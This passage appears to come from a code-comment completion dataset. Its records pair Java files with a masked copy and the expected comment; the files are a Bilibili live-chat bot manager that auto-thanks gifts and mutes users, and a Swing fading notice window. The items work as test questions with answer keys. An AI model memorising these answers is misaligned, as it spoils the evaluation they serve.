return new ArrayList<>(); } }
1
18090_3
package exp.bilibili.plugin.cache; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.Set; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import exp.bilibili.plugin.envm.Identity; import exp.bilibili.plugin.utils.TimeUtils; import exp.bilibili.plugin.utils.UIUtils; import exp.bilibili.protocol.XHRSender; import exp.bilibili.protocol.bean.ws.ChatMsg; import exp.bilibili.protocol.bean.ws.SendGift; import exp.bilibili.robot.ChatRobot; import exp.libs.utils.other.ListUtils; import exp.libs.utils.other.RandomUtils; import exp.libs.utils.other.StrUtils; import exp.libs.utils.verify.RegexUtils; import exp.libs.warp.thread.LoopThread; /** * <PRE> * 在线聊天管理器: * 1.自动晚安 * 2.自动感谢投喂 * 3.定时公告 * 4.举报/禁言等命令检测 * </PRE> * <br/><B>PROJECT : </B> bilibili-plugin * <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a> * @version 2017-12-17 * @author EXP: 272629724@qq.com * @since jdk版本:jdk1.6 */ public class ChatMgr extends LoopThread { private final static Logger log = LoggerFactory.getLogger(ChatMgr.class); /** 被其他人联名举报上限: 超过上限则临时关小黑屋1小时 */ private final static int COMPLAINT_LIMIT = 3; /** 禁言关键字 */ private final static String BAN_KEY = "#禁言"; /** 举报关键字 */ private final static String COMPLAINT_KEY = "#举报"; /** 同屏可以显示的最大发言数 */ private final static int SCREEN_CHAT_LIMT = 10; private final static String WARN_KEY = "【警告】"; private final static String NOTICE_KEY = "【公告】"; private final static String NIGHT_KEY = "晚安(´▽`)ノ "; private final static String AI_KEY = "【AI】"; /** 同一时间可以感谢的最大用户数(避免刷屏) */ private final static int THX_USER_LIMIT = 2; /** 发送消息间隔 */ private final static long SEND_TIME = 500; /** 自动感谢周期 */ private final static long THX_TIME = 30000; /** 滚屏公告周期 */ private final static long NOTICE_TIME = 300000; /** 检测待发送消息间隔 */ private final static long SLEEP_TIME = 1000; private final static int THX_LIMIT = (int) (THX_TIME / SLEEP_TIME); private final static int NOTICE_LIMIT = (int) (NOTICE_TIME / SLEEP_TIME); private int thxCnt; private int noticeCnt; /** 自动答谢 */ private boolean autoThankYou; /** 自动公告 */ private boolean autoNotice; /** 自动晚安 */ private boolean autoGoodNight; /** 自动回复(搭载AI聊天机器人) */ private boolean autoReply; /** 已经被晚安过的用户 */ private Set<String> nightedUsers; /** * 一段时间内,每个用户赠送的礼物清单. * username -> giftName -> giftName */ private Map<String, Map<String, Integer>> userGifts; /** * 发言计数器(主要针对定时公告和自动打call) * 当同屏存在自己的发言时,则取消本次自动发言,避免刷屏. */ private int chatCnt; private static volatile ChatMgr instance; private ChatMgr() { super("自动发言姬"); this.thxCnt = 0; this.noticeCnt = 0; this.chatCnt = SCREEN_CHAT_LIMT; this.autoThankYou = false; this.autoNotice = false; this.autoGoodNight = false; this.autoReply = false; this.nightedUsers = new HashSet<String>(); this.userGifts = new LinkedHashMap<String, Map<String, Integer>>(); } public static ChatMgr getInstn() { if(instance == null) { synchronized (ChatMgr.class) { if(instance == null) { instance = new ChatMgr(); } } } return instance; } private void clear() { nightedUsers.clear(); userGifts.clear(); } @Override protected void _before() { log.info("{} 已启动", getName()); } @Override protected void _loopRun() { // 自动感谢礼物投喂 if(thxCnt++ >= THX_LIMIT) { thxCnt = 0; toThxGift(); } // 定时公告 if(noticeCnt++ >= NOTICE_LIMIT && allowAutoChat()) { noticeCnt = 0; toNotice(); } _sleep(SLEEP_TIME); } @Override protected void _after() { clear(); log.info("{} 已停止", getName()); } /** * 开播打招呼 * @param roomId */ public void helloLive(int roomId) { if(UIUtils.isLogined() == false) { return; } String card = RandomUtils.genElement(MsgKwMgr.getCards()); String msg = "滴~".concat(card); int hour = TimeUtils.getCurHour(8); // 中国8小时时差 if(hour >= 6 && hour < 12) { msg = msg.concat("早上好"); } else if(hour >= 12 && hour < 18) { msg = msg.concat("下午好"); } else if(hour >= 18 && hour < 24) { msg = msg.concat("晚上好"); } else { msg = msg.concat("还在浪吗?"); } XHRSender.sendDanmu(msg, roomId); } /** * 房间内高能礼物感谢与中奖祝贺 * @param msg * @return */ public boolean sendThxEnergy(String msg) { boolean isOk = false; if(isAutoThankYou()) { isOk = XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, msg), UIUtils.getCurChatColor()); } return isOk; } /** * 感谢上船 * @param msg */ public void sendThxGuard(String msg) { if(!isAutoThankYou()) { return; } XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, "感谢", msg), UIUtils.getCurChatColor()); } /** * 添加到投喂感谢列表 * @param msgBean */ public void addThxGift(SendGift msgBean) { if(!isAutoThankYou() || msgBean.getNum() <= 0) { return; } String username = msgBean.getUname(); String giftName = msgBean.getGiftName(); synchronized (userGifts) { Map<String, Integer> gifts = userGifts.get(username); if(gifts == null) { gifts = new HashMap<String, Integer>(); userGifts.put(username, gifts); } Integer sum = gifts.get(giftName); sum = (sum == null ? 0 : sum); gifts.put(giftName, (sum + msgBean.getNum())); } } /** * 感谢一段时间内所有用户的投喂 */ private void toThxGift() { Map<String, Map<String, Integer>> tmp = new LinkedHashMap<String, Map<String,Integer>>(); synchronized (userGifts) { tmp.putAll(userGifts); userGifts.clear(); } // 若短时间内投喂用户过多, 则不逐一感谢, 避免刷屏 int userNum = tmp.keySet().size(); if(userNum > THX_USER_LIMIT) { String msg = StrUtils.concat(NOTICE_KEY, "感谢前面[", userNum, "]个大佬的投喂d(´ω`*)"); XHRSender.sendDanmu(msg); // 分别合并每个用户的投喂礼物再感谢 } else { Iterator<String> userIts = tmp.keySet().iterator(); while(userIts.hasNext()) { String username = userIts.next(); Map<String, Integer> gifts = tmp.get(username); toThxGift(username, gifts); _sleep(SEND_TIME); userIts.remove(); } tmp.clear(); } } /** * 感谢某个用户的投喂 * @param username * @param gifts */ private void toThxGift(String username, Map<String, Integer> gifts) { if(gifts.size() <= 0) { return; // 1个礼物多份 } else if(gifts.size() == 1) { Iterator<String> giftIts = gifts.keySet().iterator(); if(giftIts.hasNext()) { String giftName = giftIts.next(); Integer num = gifts.get(giftName); if(num != null && num > 0) { int cost = ActivityMgr.showCost(giftName, num); String msg = getThxMsg(username, giftName, num, cost); XHRSender.sendDanmu(msg); } } // 多个礼物多份 } else { int cost = 0; StringBuilder sb = new StringBuilder(); Iterator<String> giftIts = gifts.keySet().iterator(); while(giftIts.hasNext()) { String giftName = giftIts.next(); sb.append(giftName).append(","); cost += ActivityMgr.showCost(giftName, gifts.get(giftName)); } sb.setLength(sb.length() - 1); String msg = getThxMsg(username, sb.toString(), -1, cost); XHRSender.sendDanmu(msg); } gifts.clear(); } private String getThxMsg(String username, String gift, int num, int cost) { String head = StrUtils.concat(NOTICE_KEY, "感谢[", username, "]"); String tail = ""; if(num > 0) { tail = StrUtils.concat("投喂", gift, "x", num); } else { tail = StrUtils.concat("投喂[", gift, "]"); } String adj = ""; int len = CookiesMgr.MAIN().DANMU_LEN() - head.length() - tail.length(); for(int retry = 0; retry < 3; retry++) { adj = MsgKwMgr.getAdv(); if(len >= adj.length()) { break; } } return StrUtils.concat(head, adj, tail); } /** * 定时公告 */ private void toNotice() { if(!isAutoNotice() || ListUtils.isEmpty(MsgKwMgr.getNotices())) { return; } String msg = NOTICE_KEY.concat( RandomUtils.genElement(MsgKwMgr.getNotices())); XHRSender.sendDanmu(msg); } /** * 分析弹幕内容, 触发不同的响应机制 * @param chatMsg */ public void analyseDanmu(ChatMsg chatMsg) { if(UIUtils.isLogined() == false) { return; } countChatCnt(chatMsg.getUsername()); // 登陆用户发言计数器 toAI(chatMsg.getUsername(), chatMsg.getMsg()); // 智能回复 toNight(chatMsg.getUsername(), chatMsg.getMsg()); // 自动晚安 complaint(chatMsg.getUsername(), chatMsg.getMsg()); // 举报处理 ban(chatMsg.getUsername(), chatMsg.getMsg()); // 禁言处理 } /** * 计算登陆用户的发言次数 * @param username 当前发言用户 */ private void countChatCnt(String username) { // 当是登陆用户发言时, 清空计数器 if(CookiesMgr.MAIN().NICKNAME().equals(username)) { chatCnt = 0; // 当是其他用户发言时, 计数器+1 } else { chatCnt++; } } /** * 自动晚安 * @param username * @param msg */ private void toNight(String username, String msg) { if(!isAutoGoodNight() || msg.startsWith(NIGHT_KEY) || // 避免跟机器人对话 CookiesMgr.MAIN().NICKNAME().equals(username) || // 避免跟自己晚安 nightedUsers.contains(username)) { // 避免重复晚安 return; } if(MsgKwMgr.containsNight(msg)) { String chatMsg = StrUtils.concat(NIGHT_KEY, ", ", username); XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor()); nightedUsers.add(username); } } /** * 自动聊天(搭载AI机器人) * @param username * @param msg */ private void toAI(String username, String msg) { if(!isAutoReply() || msg.startsWith(WARN_KEY) || // 避免跟机器人对话 msg.startsWith(NOTICE_KEY) || msg.startsWith(NIGHT_KEY) || msg.startsWith(AI_KEY) || CookiesMgr.MAIN().NICKNAME().equals(username)) { // 避免跟自己聊天 return; } String aiMsg = ChatRobot.send(msg); if(StrUtils.isNotEmpty(aiMsg)) { String chatMsg = StrUtils.concat(AI_KEY, aiMsg); XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor()); } } /** * 弹幕举报. * 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管. * @param username 举报人 * @param msg 弹幕(消息含被举报人) */ private void complaint(String username, String msg) { if(Identity.less(Identity.ADMIN) || !CookiesMgr.MAIN().isRoomAdmin() || !msg.trim().startsWith(COMPLAINT_KEY)) { return; } String accuser = username; String unameKey = RegexUtils.findFirst(msg, COMPLAINT_KEY.concat("\\s*(.+)")).trim(); List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey); if(accuseds.size() <= 0) { log.warn("用户 [{}] 举报失败: 不存在关键字为 [{}] 的账号", accuser, unameKey); } else if(accuseds.size() > 1) { log.warn("用户 [{}] 举报失败: 关键字为 [{}] 的账号有多个", accuser, unameKey); } else { String accused = accuseds.get(0); int cnt = OnlineUserMgr.getInstn().complaint(accuser, accused); if(cnt > 0) { if(cnt < COMPLAINT_LIMIT) { msg = StrUtils.concat(WARN_KEY, "x", cnt, ":请[", accused, "]注意弹幕礼仪"); } else if(XHRSender.blockUser(accused)) { OnlineUserMgr.getInstn().cancel(accused); msg = StrUtils.concat(WARN_KEY, "[", accused, "]被", cnt, "人举报,暂时禁言"); } XHRSender.sendDanmu(msg); } else { log.warn("用户 [{}] 举报失败: 请勿重复举报 [{}]", accuser, accused); } } } /** * 把指定用户关小黑屋. * 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管. * @param username 举报人名称(只能是房管) * @param msg 弹幕(消息含被禁闭人) */ private void ban(String username, String msg) { if(Identity.less(Identity.ADMIN) || !CookiesMgr.MAIN().isRoomAdmin() || !OnlineUserMgr.getInstn().isManager(username) || !msg.trim().startsWith(BAN_KEY)) { return; } String managerId = OnlineUserMgr.getInstn().getManagerID(username); String unameKey = RegexUtils.findFirst(msg, BAN_KEY.concat("\\s*(.+)")).trim(); List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey); if(accuseds.size() <= 0) { msg = StrUtils.concat("【禁言失败】 不存在关键字为 [", unameKey, "] 的用户"); } else if(accuseds.size() > 1) { msg = StrUtils.concat("【禁言失败】 关键字为 [", unameKey, "] 的用户有 [", accuseds.size(), "] 个, 请确认其中一个用户再执行禁言: "); for(String accused : accuseds) { msg = StrUtils.concat(msg, "[", accused, "] "); } } else { String accused = accuseds.get(0); if(OnlineUserMgr.getInstn().isManager(accused)) { msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 是主播/管理员"); } else if(XHRSender.blockUser(accused)) { msg = StrUtils.concat("【禁言成功】 用户 [", accused, "] 已暂时关到小黑屋1小时"); } else { msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 已被其他房管拖到小黑屋不可描述了"); } } XHRSender.sendPM(managerId, msg); } public void setAutoThankYou() { autoThankYou = !autoThankYou; userGifts.clear(); // 切换状态时, 清空已投喂的礼物列表 } public boolean isAutoThankYou() { return autoThankYou; } public void setAutoNotice() { autoNotice = !autoNotice; chatCnt = SCREEN_CHAT_LIMT; } public boolean isAutoNotice() { return autoNotice; } public void setAutoGoodNight() { autoGoodNight = !autoGoodNight; nightedUsers.clear(); // 切换状态时, 清空已晚安的用户列表 } public boolean isAutoGoodNight() { return autoGoodNight; } public void setAutoReply() { this.autoReply = !autoReply; } public boolean isAutoReply() { return autoReply; } /** * 是否允许自动发言: * 当距离上一次发言超过同屏显示限制时,则允许自动发言 * @return */ private boolean allowAutoChat() { return chatCnt >= SCREEN_CHAT_LIMT; } }
EXP-Codes/bilibili-plugin
src/main/java/exp/bilibili/plugin/cache/ChatMgr.java
5,163
/** 举报关键字 */
block_comment
zh-cn
package exp.bilibili.plugin.cache; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.Set; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import exp.bilibili.plugin.envm.Identity; import exp.bilibili.plugin.utils.TimeUtils; import exp.bilibili.plugin.utils.UIUtils; import exp.bilibili.protocol.XHRSender; import exp.bilibili.protocol.bean.ws.ChatMsg; import exp.bilibili.protocol.bean.ws.SendGift; import exp.bilibili.robot.ChatRobot; import exp.libs.utils.other.ListUtils; import exp.libs.utils.other.RandomUtils; import exp.libs.utils.other.StrUtils; import exp.libs.utils.verify.RegexUtils; import exp.libs.warp.thread.LoopThread; /** * <PRE> * 在线聊天管理器: * 1.自动晚安 * 2.自动感谢投喂 * 3.定时公告 * 4.举报/禁言等命令检测 * </PRE> * <br/><B>PROJECT : </B> bilibili-plugin * <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a> * @version 2017-12-17 * @author EXP: 272629724@qq.com * @since jdk版本:jdk1.6 */ public class ChatMgr extends LoopThread { private final static Logger log = LoggerFactory.getLogger(ChatMgr.class); /** 被其他人联名举报上限: 超过上限则临时关小黑屋1小时 */ private final static int COMPLAINT_LIMIT = 3; /** 禁言关键字 */ private final static String BAN_KEY = "#禁言"; /** 举报关 <SUF>*/ private final static String COMPLAINT_KEY = "#举报"; /** 同屏可以显示的最大发言数 */ private final static int SCREEN_CHAT_LIMT = 10; private final static String WARN_KEY = "【警告】"; private final static String NOTICE_KEY = "【公告】"; private final static String NIGHT_KEY = "晚安(´▽`)ノ "; private final static String AI_KEY = "【AI】"; /** 同一时间可以感谢的最大用户数(避免刷屏) */ private final static int THX_USER_LIMIT = 2; /** 发送消息间隔 */ private final static long SEND_TIME = 500; /** 自动感谢周期 */ private final static long THX_TIME = 30000; /** 滚屏公告周期 */ private final static long NOTICE_TIME = 300000; /** 检测待发送消息间隔 */ private final static long SLEEP_TIME = 1000; private final static int THX_LIMIT = (int) (THX_TIME / SLEEP_TIME); private final static int NOTICE_LIMIT = (int) (NOTICE_TIME / SLEEP_TIME); private int thxCnt; private int noticeCnt; /** 自动答谢 */ private boolean autoThankYou; /** 自动公告 */ private boolean autoNotice; /** 自动晚安 */ private boolean autoGoodNight; /** 自动回复(搭载AI聊天机器人) */ private boolean autoReply; /** 已经被晚安过的用户 */ private Set<String> nightedUsers; /** * 一段时间内,每个用户赠送的礼物清单. * username -> giftName -> giftName */ private Map<String, Map<String, Integer>> userGifts; /** * 发言计数器(主要针对定时公告和自动打call) * 当同屏存在自己的发言时,则取消本次自动发言,避免刷屏. */ private int chatCnt; private static volatile ChatMgr instance; private ChatMgr() { super("自动发言姬"); this.thxCnt = 0; this.noticeCnt = 0; this.chatCnt = SCREEN_CHAT_LIMT; this.autoThankYou = false; this.autoNotice = false; this.autoGoodNight = false; this.autoReply = false; this.nightedUsers = new HashSet<String>(); this.userGifts = new LinkedHashMap<String, Map<String, Integer>>(); } public static ChatMgr getInstn() { if(instance == null) { synchronized (ChatMgr.class) { if(instance == null) { instance = new ChatMgr(); } } } return instance; } private void clear() { nightedUsers.clear(); userGifts.clear(); } @Override protected void _before() { log.info("{} 已启动", getName()); } @Override protected void _loopRun() { // 自动感谢礼物投喂 if(thxCnt++ >= THX_LIMIT) { thxCnt = 0; toThxGift(); } // 定时公告 if(noticeCnt++ >= NOTICE_LIMIT && allowAutoChat()) { noticeCnt = 0; toNotice(); } _sleep(SLEEP_TIME); } @Override protected void _after() { clear(); log.info("{} 已停止", getName()); } /** * 开播打招呼 * @param roomId */ public void helloLive(int roomId) { if(UIUtils.isLogined() == false) { return; } String card = RandomUtils.genElement(MsgKwMgr.getCards()); String msg = "滴~".concat(card); int hour = TimeUtils.getCurHour(8); // 中国8小时时差 if(hour >= 6 && hour < 12) { msg = msg.concat("早上好"); } else if(hour >= 12 && hour < 18) { msg = msg.concat("下午好"); } else if(hour >= 18 && hour < 24) { msg = msg.concat("晚上好"); } else { msg = msg.concat("还在浪吗?"); } XHRSender.sendDanmu(msg, roomId); } /** * 房间内高能礼物感谢与中奖祝贺 * @param msg * @return */ public boolean sendThxEnergy(String msg) { boolean isOk = false; if(isAutoThankYou()) { isOk = XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, msg), UIUtils.getCurChatColor()); } return isOk; } /** * 感谢上船 * @param msg */ public void sendThxGuard(String msg) { if(!isAutoThankYou()) { return; } XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, "感谢", msg), UIUtils.getCurChatColor()); } /** * 添加到投喂感谢列表 * @param msgBean */ public void addThxGift(SendGift msgBean) { if(!isAutoThankYou() || msgBean.getNum() <= 0) { return; } String username = msgBean.getUname(); String giftName = msgBean.getGiftName(); synchronized (userGifts) { Map<String, Integer> gifts = userGifts.get(username); if(gifts == null) { gifts = new HashMap<String, Integer>(); userGifts.put(username, gifts); } Integer sum = gifts.get(giftName); sum = (sum == null ? 0 : sum); gifts.put(giftName, (sum + msgBean.getNum())); } } /** * 感谢一段时间内所有用户的投喂 */ private void toThxGift() { Map<String, Map<String, Integer>> tmp = new LinkedHashMap<String, Map<String,Integer>>(); synchronized (userGifts) { tmp.putAll(userGifts); userGifts.clear(); } // 若短时间内投喂用户过多, 则不逐一感谢, 避免刷屏 int userNum = tmp.keySet().size(); if(userNum > THX_USER_LIMIT) { String msg = StrUtils.concat(NOTICE_KEY, "感谢前面[", userNum, "]个大佬的投喂d(´ω`*)"); XHRSender.sendDanmu(msg); // 分别合并每个用户的投喂礼物再感谢 } else { Iterator<String> userIts = tmp.keySet().iterator(); while(userIts.hasNext()) { String username = userIts.next(); Map<String, Integer> gifts = tmp.get(username); toThxGift(username, gifts); _sleep(SEND_TIME); userIts.remove(); } tmp.clear(); } } /** * 感谢某个用户的投喂 * @param username * @param gifts */ private void toThxGift(String username, Map<String, Integer> gifts) { if(gifts.size() <= 0) { return; // 1个礼物多份 } else if(gifts.size() == 1) { Iterator<String> giftIts = gifts.keySet().iterator(); if(giftIts.hasNext()) { String giftName = giftIts.next(); Integer num = gifts.get(giftName); if(num != null && num > 0) { int cost = ActivityMgr.showCost(giftName, num); String msg = getThxMsg(username, giftName, num, cost); XHRSender.sendDanmu(msg); } } // 多个礼物多份 } else { int cost = 0; StringBuilder sb = new StringBuilder(); Iterator<String> giftIts = gifts.keySet().iterator(); while(giftIts.hasNext()) { String giftName = giftIts.next(); sb.append(giftName).append(","); cost += ActivityMgr.showCost(giftName, gifts.get(giftName)); } sb.setLength(sb.length() - 1); String msg = getThxMsg(username, sb.toString(), -1, cost); XHRSender.sendDanmu(msg); } gifts.clear(); } private String getThxMsg(String username, String gift, int num, int cost) { String head = StrUtils.concat(NOTICE_KEY, "感谢[", username, "]"); String tail = ""; if(num > 0) { tail = StrUtils.concat("投喂", gift, "x", num); } else { tail = StrUtils.concat("投喂[", gift, "]"); } String adj = ""; int len = CookiesMgr.MAIN().DANMU_LEN() - head.length() - tail.length(); for(int retry = 0; retry < 3; retry++) { adj = MsgKwMgr.getAdv(); if(len >= adj.length()) { break; } } return StrUtils.concat(head, adj, tail); } /** * 定时公告 */ private void toNotice() { if(!isAutoNotice() || ListUtils.isEmpty(MsgKwMgr.getNotices())) { return; } String msg = NOTICE_KEY.concat( RandomUtils.genElement(MsgKwMgr.getNotices())); XHRSender.sendDanmu(msg); } /** * 分析弹幕内容, 触发不同的响应机制 * @param chatMsg */ public void analyseDanmu(ChatMsg chatMsg) { if(UIUtils.isLogined() == false) { return; } countChatCnt(chatMsg.getUsername()); // 登陆用户发言计数器 toAI(chatMsg.getUsername(), chatMsg.getMsg()); // 智能回复 toNight(chatMsg.getUsername(), chatMsg.getMsg()); // 自动晚安 complaint(chatMsg.getUsername(), chatMsg.getMsg()); // 举报处理 ban(chatMsg.getUsername(), chatMsg.getMsg()); // 禁言处理 } /** * 计算登陆用户的发言次数 * @param username 当前发言用户 */ private void countChatCnt(String username) { // 当是登陆用户发言时, 清空计数器 if(CookiesMgr.MAIN().NICKNAME().equals(username)) { chatCnt = 0; // 当是其他用户发言时, 计数器+1 } else { chatCnt++; } } /** * 自动晚安 * @param username * @param msg */ private void toNight(String username, String msg) { if(!isAutoGoodNight() || msg.startsWith(NIGHT_KEY) || // 避免跟机器人对话 CookiesMgr.MAIN().NICKNAME().equals(username) || // 避免跟自己晚安 nightedUsers.contains(username)) { // 避免重复晚安 return; } if(MsgKwMgr.containsNight(msg)) { String chatMsg = StrUtils.concat(NIGHT_KEY, ", ", username); XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor()); nightedUsers.add(username); } } /** * 自动聊天(搭载AI机器人) * @param username * @param msg */ private void toAI(String username, String msg) { if(!isAutoReply() || msg.startsWith(WARN_KEY) || // 避免跟机器人对话 msg.startsWith(NOTICE_KEY) || msg.startsWith(NIGHT_KEY) || msg.startsWith(AI_KEY) || CookiesMgr.MAIN().NICKNAME().equals(username)) { // 避免跟自己聊天 return; } String aiMsg = ChatRobot.send(msg); if(StrUtils.isNotEmpty(aiMsg)) { String chatMsg = StrUtils.concat(AI_KEY, aiMsg); XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor()); } } /** * 弹幕举报. * 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管. * @param username 举报人 * @param msg 弹幕(消息含被举报人) */ private void complaint(String username, String msg) { if(Identity.less(Identity.ADMIN) || !CookiesMgr.MAIN().isRoomAdmin() || !msg.trim().startsWith(COMPLAINT_KEY)) { return; } String accuser = username; String unameKey = RegexUtils.findFirst(msg, COMPLAINT_KEY.concat("\\s*(.+)")).trim(); List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey); if(accuseds.size() <= 0) { log.warn("用户 [{}] 举报失败: 不存在关键字为 [{}] 的账号", accuser, unameKey); } else if(accuseds.size() > 1) { log.warn("用户 [{}] 举报失败: 关键字为 [{}] 的账号有多个", accuser, unameKey); } else { String accused = accuseds.get(0); int cnt = OnlineUserMgr.getInstn().complaint(accuser, accused); if(cnt > 0) { if(cnt < COMPLAINT_LIMIT) { msg = StrUtils.concat(WARN_KEY, "x", cnt, ":请[", accused, "]注意弹幕礼仪"); } else if(XHRSender.blockUser(accused)) { OnlineUserMgr.getInstn().cancel(accused); msg = StrUtils.concat(WARN_KEY, "[", accused, "]被", cnt, "人举报,暂时禁言"); } XHRSender.sendDanmu(msg); } else { log.warn("用户 [{}] 举报失败: 请勿重复举报 [{}]", accuser, accused); } } } /** * 把指定用户关小黑屋. * 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管. * @param username 举报人名称(只能是房管) * @param msg 弹幕(消息含被禁闭人) */ private void ban(String username, String msg) { if(Identity.less(Identity.ADMIN) || !CookiesMgr.MAIN().isRoomAdmin() || !OnlineUserMgr.getInstn().isManager(username) || !msg.trim().startsWith(BAN_KEY)) { return; } String managerId = OnlineUserMgr.getInstn().getManagerID(username); String unameKey = RegexUtils.findFirst(msg, BAN_KEY.concat("\\s*(.+)")).trim(); List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey); if(accuseds.size() <= 0) { msg = StrUtils.concat("【禁言失败】 不存在关键字为 [", unameKey, "] 的用户"); } else if(accuseds.size() > 1) { msg = StrUtils.concat("【禁言失败】 关键字为 [", unameKey, "] 的用户有 [", accuseds.size(), "] 个, 请确认其中一个用户再执行禁言: "); for(String accused : accuseds) { msg = StrUtils.concat(msg, "[", accused, "] "); } } else { String accused = accuseds.get(0); if(OnlineUserMgr.getInstn().isManager(accused)) { msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 是主播/管理员"); } else if(XHRSender.blockUser(accused)) { msg = StrUtils.concat("【禁言成功】 用户 [", accused, "] 已暂时关到小黑屋1小时"); } else { msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 已被其他房管拖到小黑屋不可描述了"); } } XHRSender.sendPM(managerId, msg); } public void setAutoThankYou() { autoThankYou = !autoThankYou; userGifts.clear(); // 切换状态时, 清空已投喂的礼物列表 } public boolean isAutoThankYou() { return autoThankYou; } public void setAutoNotice() { autoNotice = !autoNotice; chatCnt = SCREEN_CHAT_LIMT; } public boolean isAutoNotice() { return autoNotice; } public void setAutoGoodNight() { autoGoodNight = !autoGoodNight; nightedUsers.clear(); // 切换状态时, 清空已晚安的用户列表 } public boolean isAutoGoodNight() { return autoGoodNight; } public void setAutoReply() { this.autoReply = !autoReply; } public boolean isAutoReply() { return autoReply; } /** * 是否允许自动发言: * 当距离上一次发言超过同屏显示限制时,则允许自动发言 * @return */ private boolean allowAutoChat() { return chatCnt >= SCREEN_CHAT_LIMT; } }
0
50426_10
package exp.libs.ui.cpt.win; import exp.libs.utils.concurrent.ThreadUtils; /** * <PRE> * swing右下角通知窗口 * (使用_show方法显示窗体, 可触发自动渐隐消失) * </PRE> * <br/><B>PROJECT : </B> exp-libs * <br/><B>SUPPORT : </B> <a href="https://exp-blog.com" target="_blank">https://exp-blog.com</a> * @version 2022-03-06 * @author EXP: exp.lqb@foxmail.com * @since JDK 1.8+ */ @SuppressWarnings("serial") public abstract class NoticeWindow extends PopChildWindow implements Runnable { private Thread _this; private boolean isRun = false; protected NoticeWindow() { super("NoticeWindow"); } protected NoticeWindow(String name) { super(name); } protected NoticeWindow(String name, int width, int height) { super(name, width, height); } protected NoticeWindow(String name, int width, int height, boolean relative) { super(name, width, height, relative); } protected NoticeWindow(String name, int width, int height, boolean relative, Object... args) { super(name, width, height, relative, args); } @Override protected int LOCATION() { return LOCATION_RB; // 出现坐标为右下角 } @Override protected boolean WIN_ON_TOP() { return true; // 设置窗口置顶 } /** * 以渐隐方式显示通知消息 */ @Override protected final void AfterView() { if(isRun == false) { isRun = true; _this = new Thread(this); _this.start(); // 渐隐窗体 } } @Deprecated @Override protected final void beforeHide() { // Undo } @Override public void run() { ThreadUtils.tSleep(2000); // 悬停2秒 // 透明度渐隐(大约持续3秒) for(float opacity = 100; opacity > 0; opacity -= 2) { this.setOpacity(opacity / 100); // 设置透明度 ThreadUtils.tSleep(60); if(isVisible() == false) { break; // 窗体被提前销毁了(手工点了X) } } _hide(); // 销毁窗体 } /** * 阻塞等待渐隐关闭过程 */ public void _join() { if(_this == null) { return; } try { _this.join(); } catch (Exception e) {} } }
EXP-Codes/exp-libs-refactor
exp-libs-ui/src/main/java/exp/libs/ui/cpt/win/NoticeWindow.java
724
// 销毁窗体
line_comment
zh-cn
package exp.libs.ui.cpt.win; import exp.libs.utils.concurrent.ThreadUtils; /** * <PRE> * swing右下角通知窗口 * (使用_show方法显示窗体, 可触发自动渐隐消失) * </PRE> * <br/><B>PROJECT : </B> exp-libs * <br/><B>SUPPORT : </B> <a href="https://exp-blog.com" target="_blank">https://exp-blog.com</a> * @version 2022-03-06 * @author EXP: exp.lqb@foxmail.com * @since JDK 1.8+ */ @SuppressWarnings("serial") public abstract class NoticeWindow extends PopChildWindow implements Runnable { private Thread _this; private boolean isRun = false; protected NoticeWindow() { super("NoticeWindow"); } protected NoticeWindow(String name) { super(name); } protected NoticeWindow(String name, int width, int height) { super(name, width, height); } protected NoticeWindow(String name, int width, int height, boolean relative) { super(name, width, height, relative); } protected NoticeWindow(String name, int width, int height, boolean relative, Object... args) { super(name, width, height, relative, args); } @Override protected int LOCATION() { return LOCATION_RB; // 出现坐标为右下角 } @Override protected boolean WIN_ON_TOP() { return true; // 设置窗口置顶 } /** * 以渐隐方式显示通知消息 */ @Override protected final void AfterView() { if(isRun == false) { isRun = true; _this = new Thread(this); _this.start(); // 渐隐窗体 } } @Deprecated @Override protected final void beforeHide() { // Undo } @Override public void run() { ThreadUtils.tSleep(2000); // 悬停2秒 // 透明度渐隐(大约持续3秒) for(float opacity = 100; opacity > 0; opacity -= 2) { this.setOpacity(opacity / 100); // 设置透明度 ThreadUtils.tSleep(60); if(isVisible() == false) { break; // 窗体被提前销毁了(手工点了X) } } _hide(); // 销毁 <SUF> } /** * 阻塞等待渐隐关闭过程 */ public void _join() { if(_this == null) { return; } try { _this.join(); } catch (Exception e) {} } }
0
39006_16
